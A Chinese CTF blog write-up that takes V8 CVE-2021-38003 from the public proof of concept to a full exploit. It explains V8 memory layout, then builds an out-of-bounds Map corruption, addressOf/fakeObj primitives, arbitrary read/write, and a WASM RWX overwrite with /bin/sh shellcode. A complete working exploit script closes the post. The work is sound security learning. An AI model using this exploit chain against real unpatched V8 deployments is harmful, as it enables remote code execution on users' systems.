sysNow's blog

从POC到EXP:从0基础到v8 CVE-2021-38003复现

May 12, 2026
CTF v8漏洞
29 Minutes
5785 Words

从POC到EXP:从0基础到v8 CVE-2021-38003复现

此文章首发于奇安信攻防社区https://forum.butian.net/share/4851

参考文献

TheHole New World - how a small leak will sink a great browser (CVE-2021-38003)

[V8 Deep Dives] Understanding Map Internals

从 0 开始学 V8 漏洞利用系列篇

Chaos-me-JavaScript-V8

手把手教你入门V8漏洞利用

前言

最近在做2026年SUCTF的赛题复现,做到SU_BOX这一题的时候发现是一个v8引擎利用,之前也没有学过v8就一边学一边做了这一题,学习的过程中也踩了很多坑……

编译与调试

编译的主要流程参考了从 0 开始学 V8 漏洞利用系列篇这一篇文章,这个文章将编译的流程写成了脚本,方便后续编译不同版本的v8。

需要注意的是,编译的参数最好按照官方的来,比如SU_BOX使用的是J2V8,其编译v8的方式是这样的

Terminal window
1
target_os = "linux"
2
target_cpu = "x64"
3
is_component_build = false
4
is_debug = false
5
use_custom_libcxx = false
6
v8_monolithic = true
7
v8_use_external_startup_data = false
8
symbol_level = 0
9
v8_enable_i18n_support= false
10
v8_enable_pointer_compression = false

那我们就要在编译参数上尽可能相同,在此基础上添加部分调试参数进行编译

Terminal window
1
target_os = "linux"
2
target_cpu = "x64"
3
is_component_build = false
4
is_debug = false
5
use_custom_libcxx = false
6
v8_monolithic = true
7
v8_use_external_startup_data = false
8
symbol_level = 2
9
v8_enable_i18n_support= false
10
v8_enable_pointer_compression = false
11
v8_enable_backtrace = true
12
v8_enable_disassembler = true
13
v8_enable_object_print = true
14
v8_enable_verify_heap = true

所以写成build.sh脚本是这样的,由于我是在docker中编译的,因此很多路径都是绝对路径,需要进行修改

1
#!/bin/bash
2
VER=$1
3
if [ -z $2 ]; then
4
NAME=$VER
5
else
6
NAME=$2
7
fi
8
cd /work/v8_dev/v8
9
10
git reset --hard $VER
11
gclient sync -D
12
gn gen /work/v8_dev/out/x64_$NAME.release --args='target_os = "linux"
13
target_cpu = "x64"
14
is_component_build = false
15
is_debug = false
11 collapsed lines
16
use_custom_libcxx = false
17
v8_monolithic = true
18
v8_use_external_startup_data = false
19
symbol_level = 2
20
v8_enable_i18n_support= false
21
v8_enable_pointer_compression = false
22
v8_enable_backtrace = true
23
v8_enable_disassembler = true
24
v8_enable_object_print = true
25
v8_enable_verify_heap = true'
26
ninja -C /work/v8_dev/out/x64_$NAME.release d8

如果不按照官方给的参数编译的话,有可能POC无法跑通,就直接影响后续的漏洞利用

同时,经过多次尝试,我建议在运行ubuntu 20.04或者ubuntu 22.04且运行python 3.9或者python 3.10的系统环境中构建,过高或者过低的系统/python版本都会导致编译出错。编译完之后的目录是这样子的

image-20260331214807313

其中可执行文件d8就是我们攻击的目标文件

image-20260331215052227

同时需要将这两个文件导入到gdbinit文件中,这样才能使用v8的调试指令

我们将以下内容写在test.js中

1
a= [1.1, 2.2];
2
%DebugPrint(a);
3
%SystemBreak();

%SystemBreak()就是断点,程序会断在这里;%DebugPrint(a)就是将a列表的调试数据打印到终端

image-20260331215643399

在gdb中调试d8文件,然后运行的时候带上—allow-natives-syntax参数才能使用%SystemBreak() %DebugPrint()两条调试指令,运行效果如下

image-20260331220906009

也可以在gdb中使用job指令查看对象

image-20260331220919903

需要注意的是,v8为了体现数据和地址的不同采用了不同的策略:地址+1存储,也就是说如果0x41414140作为对象地址存储就会变成0x41414141,这一点非常重要,所以这个对象的真实地址是0x3655bb30ee01-1=0x3655bb30ee00

配合x指令打印具体地址信息,可以看到JSArray结构体其实是这样排布的

image-20260331221123711

数据的底层存储

回到刚刚的程序

1
a= [1.1, 2.2];
2
%DebugPrint(a);
3
%SystemBreak();

JSArray结构体用示意图来表示是这样的

image-20260331222708109

高版本的v8中存在地址压缩,在这个版本中部分字段占8字节,具体每个字段占几个字节需要根据具体版本进行调试分析

我们看一下element是如何存储的

image-20260331222840946

可以看到数据其实是存储在一个FixedDoubleArray结构体对象里的,同时可以看到这个结构体的存储位置是JSArray结构体的上方,示意图如下:

image-20260331223754167

我们调试一下下面的程序,看看其中其他数据类型的存储和浮点类型的数据存储有什么不同

1
a = [1.1, 2.2];
2
b = [0x3333, 0x4444];
3
c = [a, b];
4
%DebugPrint(a);
5
%DebugPrint(b);
6
%DebugPrint(c);
7
%SystemBreak();

这是b对象的信息

image-20260401201212373

示意图如下,可以看到在这个数据结构中存储element的结构体和JSArray结构体并不是在内存上相邻的

image-20260401202059855

这是c对象的信息

image-20260401202405853

示意图如下,可以看到在这个数据结构中存储对象的FixedArray结构体和JSArray结构体在内存上相邻的

image-20260401202804873

OK,那么我们可以简单总结一下:如果一个JSArray结构体存储的是浮点数和对象,那么这个结构体存储元素的地址和它本身是相邻的

如果我们能通过一个漏洞修改浮点数JSArray的length字段,就可以通过索引来进行越界读写,这其实就是v8漏洞利用的核心

v8漏洞利用原理

了解了v8底层的数据存储就可以正式开始学习v8的漏洞利用了

v8类型混淆

v8是如何判断一个JSArray结构体中存储的是浮点数、整数还是对象的呢,其实就是看JSArray的Map,每一种类型的Map都不一样

如果我们将一个存储对象的JSArray结构体的Map修改为浮点数数组对应的Map,那么读取这个结构体的时候就会返回一个浮点数

image-20260401205710362

我们拿到的浮点数是什么呢?诶,这就是对象的地址,v8漏洞利用中我们就可以通过这个方式来泄露对象的地址。我们将这个流程封装成函数addressOf,可以这么调用

1
var victim_arr_addr = addressOf(victim_arr);

将一个存储浮点数的JSArray结构体的Map修改为对象数组对应的Map,那么我读取这个结构体的时候就能返回一个对象,我们可以通过这个功能构造一个fake Object,将这个流程封装成函数fakeObj(),可以这样调用

1
var fake_object = fakeObj(fake_object_addr);

fake Object有什么用呢,我们可以通过这个fake Object来达到任意地址读和任意地址写的效果

获得addressOffakeObj原语,基本就是靠我们上一块所讲的修改浮点数JSArray的length字段以达到越界写来实现的

工具函数

1
var f64 = new Float64Array(1);
2
var bigUint64 = new BigUint64Array(f64.buffer);
3
var u32 = new Uint32Array(f64.buffer);
4
5
// Double to Uint32
6
function d2u(v) {
7
f64[0] = v;
8
return u32;
9
}
10
11
// Uint32 to Double
12
function u2d(lo, hi) {
13
u32[0] = lo;
14
u32[1] = hi;
15
return f64[0];
20 collapsed lines
16
}
17
18
// Float to Integer
19
function ftoi(f)
20
{
21
f64[0] = f;
22
return bigUint64[0];
23
}
24
25
// Integer to Float
26
function itof(i)
27
{
28
bigUint64[0] = i;
29
return f64[0];
30
}
31
32
function hex(i)
33
{
34
return i.toString(16).padStart(8, "0");
35
}

由于在v8漏洞中主要利用的还是浮点数的存储,因此需要一些工具函数用于大整数与浮点数之间的互转,函数定义如上,可以直接拿着用

任意地址读写

首先我们要通过漏洞实现addressOffakeObj原语,同时已经泄露出了浮点数JSArray的Map值,将其定义为DOUBLE_MAP常量,随后定义or修改浮点数对象如下:

1
var victim = [DOUBLE_MAP, 0n, addr, itof(0x0000000100000000n)];

此时内存中是这样存储的

image-20260401212535943

然后通过addressOf原语获得标红区域的内存,将其传入fakeObj原语中,就可以拿到fake Object,将其定义为fake_object

最后我们可以通过fake_object[0]来进行任意地址读,由于这个fake_object是伪造的存储浮点数的JSArray,因此通过fake_object[0]获取的值并不是addr中存储的数据,而是addr+0x10中存储的数据,原理可以看下面这一张图,因为addr应该是一个FixedDoubleArray结构体的地址,而存储数据的地址是addr+0x10

image-20260401213220982

我们可以将其封装成read64函数

1
function read64(addr)
2
{
3
victim_arr[2] = itof(addr - 0x10n + 0x1n);
4
return ftoi(fake_object[0]);
5
}

这里的addr就是我们想泄露的地址,那么写到fake_object中就应该是addr-0x10+1

这个1的产生就是我们之前说过的v8存储地址和普通程序的差异

任意地址写和任意地址读差不多,无非就是最后的从fake_object获取值改成了修改fake_object的存储的值

1
function write64(addr, data)
2
{
3
victim_arr[2] = itof(addr - 0x10n + 0x1n);
4
fake_object[0] = itof(data);
5
}

挟持WASM段

由于低版本v8中会给WASM一个可读可写可执行的段,因此我们可以考虑通过shellcode替换原有的WASM内容以达到执行shellcode的效果

1
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
2
var wasmModule = new WebAssembly.Module(wasmCode);
3
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
4
var f = wasmInstance.exports.main;
5
%DebugPrint(f);
6
%DebugPrint(wasmInstance);
7
%SystemBreak();

image-20260402123048418

当执行到断点时,vmmap就可以看到出现了一个可读可写可执行段,我们只需要想办法把shellcode写入这个段的开始地址,也就是0x11d80365f000,随后执行f()就可以触发shellcode

需要注意的是,在较高版本的v8中,WASM段已经不是可读可写可执行了,而是变成了可读可执行,因此就没有办法通过这个方式来进行利用了

任意地址写plus

我们回头看看之前的任意地址写,如果通过之前的方式写入shellcode会导致以下两个问题

  1. 设置的elements地址为addr-0x10+1,但想要写shellcode的地址一般都是内存段在开头(即之前的0x11d80365f000),那么更前面的内存空间则是未开辟的(0x11d80365f000-0x10+1),写入时会因为访问未开辟的内存空间发生异常
  2. 在尝试写以0x7f开头的地址(如free_hook),Double类型的浮点数在处理这些高地址时会将低20位置零,导致地址错误(这一点跟版本有关,有待调试)

因此我们需要一种向某个对象中写入数据不需要经过map和length的方式来实现任意地址写

1
var data_buf = new ArrayBuffer(0x10);
2
var data_view = new DataView(data_buf);
3
data_view.setFloat64(0, itof(0x41414141n), true);
4
%DebugPrint(data_buf);
5
%DebugPrint(data_view);
6
%SystemBreak();

调试结果如下

image-20260402132746936

可以看到,本质上来说setFloat64是在向JSArrayBuffer的backing_store指向的内存中写入内容,那么我们只要通过原有的任意地址写write64控制这个字段为可读可写可执行段的开始地址,就可以通过setFloat64方法向内存中无限制写入数据

讲到这里,v8漏洞利用就差不多了,可以开始具体分析题目了,因为addressOffakeObj原语都和具体题目有关,不同的题目获得原语的方式也不同。获得了这两个原语才能再写read64函数和write64函数

CVE-2021-38003

这个CVE的POC可以从谷歌纰漏漏洞的网站找到https://issues.chromium.org/issues/40057710

关于漏洞产生的原理本文不过多赘述,我们关注于漏洞点的利用,也就是已知CVE如何利用漏洞

1
function trigger() {
2
let a = [], b = [];
3
let s = '"'.repeat(0x800000);
4
a[20000] = s;
5
for (let i = 0; i < 10; i++) a[i] = s;
6
for (let i = 0; i < 10; i++) b[i] = a;
7
8
try {
9
JSON.stringify(b);
10
} catch (hole) {
11
return hole;
12
}
13
throw new Error('could not trigger');
14
}
15
15 collapsed lines
16
let hole = trigger();
17
18
var map = new Map();
19
map.set(1, 1);
20
map.set(hole, 1);
21
// Due to special handling of hole values, this ends up setting the size of the map to -1
22
map.delete(hole);
23
map.delete(hole);
24
map.delete(1);
25
26
// Set values in the map, which presumably ends up corrupting data in fron of
27
// the map storage due to the size being -1
28
for (let i = 0; i < 100; i++) {
29
map.set(i, 1);
30
}

我们将最后的循环删掉,然后打印一下map.size,看看POC有没有生效

1
function trigger() {
2
let a = [], b = [];
3
let s = '"'.repeat(0x800000);
4
a[20000] = s;
5
for (let i = 0; i < 10; i++) a[i] = s;
6
for (let i = 0; i < 10; i++) b[i] = a;
7
8
try {
9
JSON.stringify(b);
10
} catch (hole) {
11
return hole;
12
}
13
throw new Error('could not trigger');
14
}
15
11 collapsed lines
16
let hole = trigger();
17
18
var map = new Map();
19
map.set(1, 1);
20
map.set(hole, 1);
21
// Due to special handling of hole values, this ends up setting the size of the map to -1
22
map.delete(hole);
23
map.delete(hole);
24
map.delete(1);
25
26
print("map.size =", map.size)

image-20260402134235807

可以看到POC是有效的,那么我们就可以将这个POC改写成EXP进行利用

修改POC的整体流程可以配合https://starlabs.sg/blog/2022/12-the-hole-new-world-how-a-small-leak-will-sink-a-great-browser-cve-2021-38003/

这篇文章食用,但是这篇文章的绝大多数数据需要在本地进行调试得出,我们接下来就开始我们的调试流程

调试

首先我们看一下正常的map对象是什么样子的

image-20260402135808832

JSMap在底层是通过OrderedHashMap实现的,因此我们重点需要分析OrderedHashMap这个结构体,这个结构体的原理可以看这篇文章https://itnext.io/v8-deep-dives-understanding-map-internals-45eb94a183df

这个结构体的示意图如下:

image-20260402194444073

当我们执行map.set(key, value)时,会先对我们的key取哈希,随后和bucket_count-1进行与操作,获得hash_table_index

随后current_index就是目前已经放入数据的个数,如果hashTable[hash_table_index] == -1就代表这个哈希表还是空的,就会将key和value写入dataTable中

1
hash_table_index = hashcode(key) & (bucket_count-1)
2
current_index = current_element_count
3
if hashTable[hash_table_index] == -1:
4
// add new key-value
5
// no boundary check
6
dataTable[current_index].key = key
7
dataTable[current_index].value = value
8
..........
9
else:
10
// update existing key-value in map
11
// has boundary check

当触发map.size == -1的漏洞时,我们看一下此时新建键值对会对内存产生什么影响

1
function trigger() {
2
let a = [], b = [];
3
let s = '"'.repeat(0x800000);
4
a[20000] = s;
5
for (let i = 0; i < 10; i++) a[i] = s;
6
for (let i = 0; i < 10; i++) b[i] = a;
7
8
try {
9
JSON.stringify(b);
10
} catch (hole) {
11
return hole;
12
}
13
throw new Error('could not trigger');
14
}
15
15 collapsed lines
16
let hole = trigger();
17
18
var map = new Map();
19
map.set(1, 1);
20
map.set(hole, 1);
21
// Due to special handling of hole values, this ends up setting the size of the map to -1
22
map.delete(hole);
23
map.delete(hole);
24
map.delete(1);
25
26
print("map.size =", map.size)
27
map.set(0x41, 0x42);
28
29
%DebugPrint(map);
30
%SystemBreak();

image-20260402145454092

image-20260402145509508

可以看到0x41和0x42这两个值分别放在了buckets CounthashTable[0]的位置上,这样的话我们就可以通过这一次异常操作来挟持OrderedHashMap中hashTable和dataTable的个数,进而达到越界写的目的

image-20260402145606255


假设我们在这个结构体后方放一个JSArray,那么就有概率通过OrderedHashMap中的越界写来控制JSArray中的数据

1
function trigger() {
2
let a = [], b = [];
3
let s = '"'.repeat(0x800000);
4
a[20000] = s;
5
for (let i = 0; i < 10; i++) a[i] = s;
6
for (let i = 0; i < 10; i++) b[i] = a;
7
8
try {
9
JSON.stringify(b);
10
} catch (hole) {
11
return hole;
12
}
13
throw new Error('could not trigger');
14
}
15
16 collapsed lines
16
let hole = trigger();
17
18
var map = new Map();
19
map.set(1, 1);
20
map.set(hole, 1);
21
// Due to special handling of hole values, this ends up setting the size of the map to -1
22
map.delete(hole);
23
map.delete(hole);
24
map.delete(1);
25
26
print("map.size =", map.size)
27
oob_arr = [1.1, 1.1, 1.1, 1.1];
28
29
%DebugPrint(map);
30
%DebugPrint(oob_arr);
31
%SystemBreak();

我们调试这个程序

image-20260402153404997

OrderedHashMap的内存数据如下

image-20260402154250905

oob_arr对象的数据如下

image-20260402154313915

可以看到oob_arr的length在0x298c5b7ad560的位置,和OrderedHashMap结构体的位置距离很近是有机会覆盖的,既然我们能够控制OrderedHashMap结构体的bucket数量,那么就可以拓展hashTable和dataTable到这个区域进行篡改

因此初步计划如下

image-20260402155219446

1
hash_table_index = hashcode(key) & (bucket_count-1)
2
current_index = current_element_count
3
if hashTable[hash_table_index] == -1:
4
// add new key-value
5
// no boundary check
6
dataTable[current_index].key = key
7
dataTable[current_index].value = value
8
..........
9
else:
10
// update existing key-value in map
11
// has boundary check

第一次的异常操作来挟持bucket Count,使其dataTable[0]的位置与oob_array的length字段重叠,同时设置hashTable[0] = -1,此时current_element_count为0,这个时候,只要第二次map.set(key, value)满足hashcode(key) & (bucket_count-1) == 0,就能触发hashTable[hash_table_index] == -1,进而修改dataTable[current_index].key = key,从而达到修改length的目的

我们先解决设置bucket为多少的问题,再解决取什么key能达到要求的问题

经过调试我们可以发现,hashTable[0]的地址是0x298c5b7ad4a8

image-20260402160215346

oob_array的length地址是0x298c5b7ad560

image-20260402160312305

这样的话我们简单算一下,假设bucket的数值是n,那么hashTable[n-1]的地址就是0x298c5b7ad558,这样的话

1
(0x298c5b7ad558 - 0x298c5b7ad4a8) / 8 = 0x16

这样的话bucket就要设置成0x16+1 = 0x17,那么第一次就要执行map.set(0x17, -1);

接下来要挑选一个key能够满足hashcode(key) & (bucket_count-1) == 0的要求,v8的哈希算法是公开的,同时我们可以利用之前文章中已成型的程序将其bucket值改成0x17即可

1
#include <bits/stdc++.h>
2
3
using namespace std;
4
5
uint32_t ComputeUnseededHash(uint32_t key) {
6
uint32_t hash = key;
7
hash = ~hash + (hash << 15); // hash = (hash << 15) - hash - 1;
8
hash = hash ^ (hash >> 12);
9
hash = hash + (hash << 2);
10
hash = hash ^ (hash >> 4);
11
hash = hash * 2057; // hash = (hash + (hash << 3)) + (hash << 11);
12
hash = hash ^ (hash >> 16);
13
return hash & 0x3fffffff;
14
}
15
18 collapsed lines
16
int main(int argc, char *argv[]) {
17
uint32_t i = 0;
18
while(i <= 0xffffffff) {
19
20
/* bucket_count is 0x1c
21
* hashcode(key) & (bucket_count-1) should become 0
22
* we'll have to find a key that is large enough to achieve OOB read/write, while matching hashcode(key) & 0x1b == 0
23
*/
24
25
uint32_t hash = ComputeUnseededHash(i);
26
if (((hash & (0x17-1)) == 0) && (i > 0x100)) {
27
printf("Found: %p\n", i);
28
break;
29
}
30
i = (uint32_t)i+1;
31
}
32
return 0;
33
}

image-20260402161140825

也就是说第二次set的key要等于0x103,而value不重要,我们设置成0(因为dataTable[0].value的位置已经不在JSArray结构体内了,不需要关注这个值)

综上所述,我们需要进行以下操作:

1
map.set(0x17, -1);
2
map.set(0x103, 0);

我们写一个完整程序调试一下试试

1
function trigger() {
2
let a = [], b = [];
3
let s = '"'.repeat(0x800000);
4
a[20000] = s;
5
for (let i = 0; i < 10; i++) a[i] = s;
6
for (let i = 0; i < 10; i++) b[i] = a;
7
8
try {
9
JSON.stringify(b);
10
} catch (hole) {
11
return hole;
12
}
13
throw new Error('could not trigger');
14
}
15
18 collapsed lines
16
let hole = trigger();
17
18
var map = new Map();
19
map.set(1, 1);
20
map.set(hole, 1);
21
// Due to special handling of hole values, this ends up setting the size of the map to -1
22
map.delete(hole);
23
map.delete(hole);
24
map.delete(1);
25
26
print("map.size =", map.size)
27
oob_arr = [1.1, 1.1, 1.1, 1.1];
28
29
map.set(0x17, -1);
30
map.set(0x103, 0);
31
32
%DebugPrint(oob_arr);
33
%SystemBreak();

image-20260402161535186

可以看到JSArray结构体的length变成了0x103,成功进行了修改,接下来就可以通过这个oob_arr进行越界读写

获取addressOf和fakeObj原语

我们可以这样布置变量

1
......
2
oob_arr = [1.1, 1.1, 1.1, 1.1];
3
victim_arr = [2.2, 2.2, 2.2, 2.2, 2.2, 2.2];
4
obj_arr = [{}, {}, {}, {}];
5
6
map.set(0x17, -1);
7
map.set(0x103, 0);
8
......

这样的话就可以通过oob_arr的越界读读取到存储浮点数的Map,定义为常量DOUBLE_MAP,可以通过越界读读取到存储对象的Map,定义为OBJECT_MAP

1
......
2
print("map.size =", map.size)
3
4
oob_arr = [1.1, 1.1, 1.1, 1.1];
5
victim_arr = [2.2, 2.2, 2.2, 2.2, 2.2, 2.2];
6
obj_arr = [{}, {}, {}, {}];
7
8
map.set(0x17, -1);
9
map.set(0x103, 0);
10
11
%DebugPrint(oob_arr);
12
%DebugPrint(victim_arr)
13
// %DebugPrint(obj_arr)
14
%SystemBreak();

oob_arr[0]的地址是0x46f5552d528,存储浮点数的Map在内存0x46f5552d5a8中,可以通过oob_arr[0x10]访问到,同理可得,可以通过oob_arr[0x36]获取存储对象的Map

1
oob_arr = [1.1, 1.1, 1.1, 1.1];
2
victim_arr = [2.2, 2.2, 2.2, 2.2, 2.2, 2.2];
3
obj_arr = [{}, {}, {}, {}];
4
5
map.set(0x17, -1);
6
map.set(0x103, 0);
7
8
const DOUBLE_MAP = ftoi(oob_arr[0x10]);
9
const OBJECT_MAP = ftoi(oob_arr[0x36]);
10
print("DOUBLE_MAP = 0x" + hex(DOUBLE_MAP));
11
print("OBJECT_MAP = 0x" + hex(OBJECT_MAP));

这样的话addressOf可以这样写,先把要泄露的地址写到obj_arr[0]中,然后修改obj_arr的Map为DOUBLE_MAP,随后就可以获取想要获取的对象地址了,最后要将obj_arr的Map重新修复为OBJECT_MAP,以便多次使用

1
function addressOf(obj_to_leak)
2
{
3
obj_arr[0] = obj_to_leak;
4
oob_arr[0x36] = itof(DOUBLE_MAP);
5
let target_var_addr = ftoi(obj_arr[0]);
6
oob_arr[0x36] = itof(OBJECT_MAP);
7
return target_var_addr;
8
}

fakeObjaddressOf基本一致,将伪造fake_object的地址填入victim_arr中,修改victim_arr的Map为OBJECT_MAP,从而获取fake_object,最后将victim_arr的Map修复为DOUBLE_MAP以便多次使用

1
function fakeObj(addr_to_fake)
2
{
3
victim_arr[0] = itof(addr_to_fake+1n);
4
oob_arr[0x10] = itof(OBJECT_MAP);
5
let fake_obj = victim_arr[0];
6
oob_arr[0x10] = itof(DOUBLE_MAP);
7
return fake_obj;
8
}

我们可以伪造victim_arr[2]~victim[4]为fake_object,通过这个fake_object来达到任意地址读写的能力

1
victim_arr_addr = addressOf(victim_arr) - 1n;
2
print("victim_arr_addr = 0x" + hex(victim_arr_addr));
3
4
victim_arr[2] = itof(DOUBLE_MAP);
5
victim_arr[3] = itof(0n);
6
victim_arr[4] = itof(0x41414141n);
7
victim_arr[5] = itof(0x0000000100000000n);
8
9
fake_object_addr = victim_arr_addr - 0x20n;
10
fake_object = fakeObj(fake_object_addr);
11
12
%DebugPrint(fake_object)
13
%SystemBreak();

此时内存中是这样的

image-20260402165621316

image-20260402165138414

可以看到我们的fake_object能被系统正常识别,报错是因为0x41414140地址无法访问,这个没关系,只要在地址未被正常设置前不使用%DebugPrint(fake_object)就不会有问题,可以正常进行read64write64,因为这个地址会在这两个函数中被重写的

获得read64和write64

既然有了fake_object,那么read64write64可以这样写

1
function read64(addr)
2
{
3
victim_arr[4] = itof(addr - 0x10n + 0x1n);
4
return ftoi(fake_object[0]);
5
}

就是通过victim_arr修改fake_object指向element的地址,然后通过fake_object[0]读取

1
function write64(addr, data)
2
{
3
victim_arr[4] = itof(addr - 0x10n + 0x1n);
4
fake_object[0] = itof(data);
5
}

write64的原理与read64相同,就是读取内存变成了对内存赋值

获取WASM可读可写可执行段

1
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
2
3
var wasmModule = new WebAssembly.Module(wasmCode);
4
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
5
var f = wasmInstance.exports.main;
6
7
%DebugPrint(wasmInstance)
8
%SystemBreak();

对这个程序进行调试

image-20260402181712567

可以看到RWX段在结构体开始地址+0x80的位置上,我们可以通过read64获取这个地址

1
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
2
3
var wasmModule = new WebAssembly.Module(wasmCode);
4
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
5
var f = wasmInstance.exports.main;
6
7
shellcode_addr = read64(addressOf(wasmInstance)-1n+0x80n);
8
print("shellcode_addr = 0x" + hex(shellcode_addr));

通过任意地址写plus,写入shellcode

1
var shellcode = [ 0x48, 0xBF, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x73, 0x68, 0x00, 0x57, 0x48, 0x89, 0xE7, 0x48, 0x31, 0xF6, 0x48, 0x31, 0xD2, 0x48, 0xC7, 0xC0, 0x3B, 0x00, 0x00, 0x00, 0x0F, 0x05 ]
2
shellcode_write(shellcode_addr, shellcode);

shellcode_write函数需要通过任意地址写plus实现,具体如下

1
function shellcode_write(addr,shellcode)
2
{
3
var data_buf = new ArrayBuffer(shellcode.length);
4
var data_view = new DataView(data_buf);
5
var buf_backing_store_addr=addressOf(data_buf)-1n+0x28n;
6
write64(buf_backing_store_addr,addr);
7
for (let i=0;i<shellcode.length;++i) {
8
data_view.setUint8(i,shellcode[i]);
9
}
10
}

由于backing_store在JSArrayBuffer结构体+0x28的位置,因此需要通过write64控制这个字段,随后多次调用setUint8方法即可逐字节写入shellcode

写完后执行

1
f();

即可获得shell

image-20260402182426460

完整exp如下

1
var f64 = new Float64Array(1);
2
var bigUint64 = new BigUint64Array(f64.buffer);
3
var u32 = new Uint32Array(f64.buffer);
4
5
// Double to Uint32
6
function d2u(v) {
7
f64[0] = v;
8
return u32;
9
}
10
11
// Uint32 to Double
12
function u2d(lo, hi) {
13
u32[0] = lo;
14
u32[1] = hi;
15
return f64[0];
125 collapsed lines
16
}
17
18
// Float to Integer
19
function ftoi(f)
20
{
21
f64[0] = f;
22
return bigUint64[0];
23
}
24
25
// Integer to Float
26
function itof(i)
27
{
28
bigUint64[0] = i;
29
return f64[0];
30
}
31
32
function hex(i)
33
{
34
return i.toString(16).padStart(8, "0");
35
}
36
37
function addressOf(obj_to_leak)
38
{
39
obj_arr[0] = obj_to_leak;
40
oob_arr[0x36] = itof(DOUBLE_MAP);
41
let target_var_addr = ftoi(obj_arr[0]);
42
oob_arr[0x36] = itof(OBJECT_MAP);
43
return target_var_addr;
44
}
45
46
function fakeObj(addr_to_fake)
47
{
48
victim_arr[0] = itof(addr_to_fake+1n);
49
oob_arr[0x10] = itof(OBJECT_MAP);
50
let fake_obj = victim_arr[0];
51
oob_arr[0x10] = itof(DOUBLE_MAP);
52
return fake_obj;
53
}
54
55
function read64(addr)
56
{
57
victim_arr[4] = itof(addr - 0x10n + 0x1n);
58
return ftoi(fake_object[0]);
59
}
60
61
function write64(addr, data)
62
{
63
victim_arr[4] = itof(addr - 0x10n + 0x1n);
64
fake_object[0] = itof(data);
65
}
66
67
function shellcode_write(addr,shellcode)
68
{
69
var data_buf = new ArrayBuffer(shellcode.length);
70
var data_view = new DataView(data_buf);
71
var buf_backing_store_addr=addressOf(data_buf)-1n+0x28n;
72
write64(buf_backing_store_addr,addr);
73
for (let i=0;i<shellcode.length;++i) {
74
data_view.setUint8(i,shellcode[i]);
75
}
76
}
77
78
function trigger() {
79
let a = [], b = [];
80
let s = '"'.repeat(0x800000);
81
a[20000] = s;
82
for (let i = 0; i < 10; i++) a[i] = s;
83
for (let i = 0; i < 10; i++) b[i] = a;
84
85
try {
86
JSON.stringify(b);
87
} catch (hole) {
88
return hole;
89
}
90
throw new Error('could not trigger');
91
}
92
93
let hole = trigger();
94
95
var map = new Map();
96
map.set(1, 1);
97
map.set(hole, 1);
98
// Due to special handling of hole values, this ends up setting the size of the map to -1
99
map.delete(hole);
100
map.delete(hole);
101
map.delete(1);
102
103
print("map.size =", map.size)
104
105
oob_arr = [1.1, 1.1, 1.1, 1.1];
106
victim_arr = [2.2, 2.2, 2.2, 2.2, 2.2, 2.2];
107
obj_arr = [{}, {}, {}, {}];
108
109
map.set(0x17, -1);
110
map.set(0x103, 0);
111
112
const DOUBLE_MAP = ftoi(oob_arr[0x10]);
113
const OBJECT_MAP = ftoi(oob_arr[0x36]);
114
print("DOUBLE_MAP = 0x" + hex(DOUBLE_MAP));
115
print("OBJECT_MAP = 0x" + hex(OBJECT_MAP));
116
117
victim_arr_addr = addressOf(victim_arr) - 1n;
118
print("victim_arr_addr = 0x" + hex(victim_arr_addr));
119
120
victim_arr[2] = itof(DOUBLE_MAP);
121
victim_arr[3] = itof(0n);
122
victim_arr[4] = itof(0x41414141n);
123
victim_arr[5] = itof(0x0000000100000000n);
124
125
fake_object_addr = victim_arr_addr - 0x20n;
126
fake_object = fakeObj(fake_object_addr);
127
128
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
129
130
var wasmModule = new WebAssembly.Module(wasmCode);
131
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
132
var f = wasmInstance.exports.main;
133
134
shellcode_addr = read64(addressOf(wasmInstance)-1n+0x80n);
135
print("shellcode_addr = 0x" + hex(shellcode_addr));
136
137
var shellcode = [ 0x48, 0xBF, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x73, 0x68, 0x00, 0x57, 0x48, 0x89, 0xE7, 0x48, 0x31, 0xF6, 0x48, 0x31, 0xD2, 0x48, 0xC7, 0xC0, 0x3B, 0x00, 0x00, 0x00, 0x0F, 0x05 ]
138
shellcode_write(shellcode_addr, shellcode);
139
140
f();

结语

这篇文章主要关注于已知漏洞的利用,并非漏洞的挖掘。在赛场上需要在有效的时间内完成验证POC到编写EXP的整个流程,因此调试的思路是很重要的。这个CVE网上流传的EXP绝大多数不能用,这个和不同版本v8的字段偏移有关,比如WASM段在wasmInstance结构体中的偏移和backing_store在JSArrayBuffer中的偏移都需要通过调试获得,同时也和不同版本v8变量的底层存储逻辑有关。

这篇文章记录了我从0基础到完成v8 CVE复现的整个流程,耗时两周。实话实说挺坐牢的,好在最终拿到了shell,也成功入门v8,成就感直接爆表。作为pwn手的我不就期待着这一刻吗( •́ .̫ •̀ )。

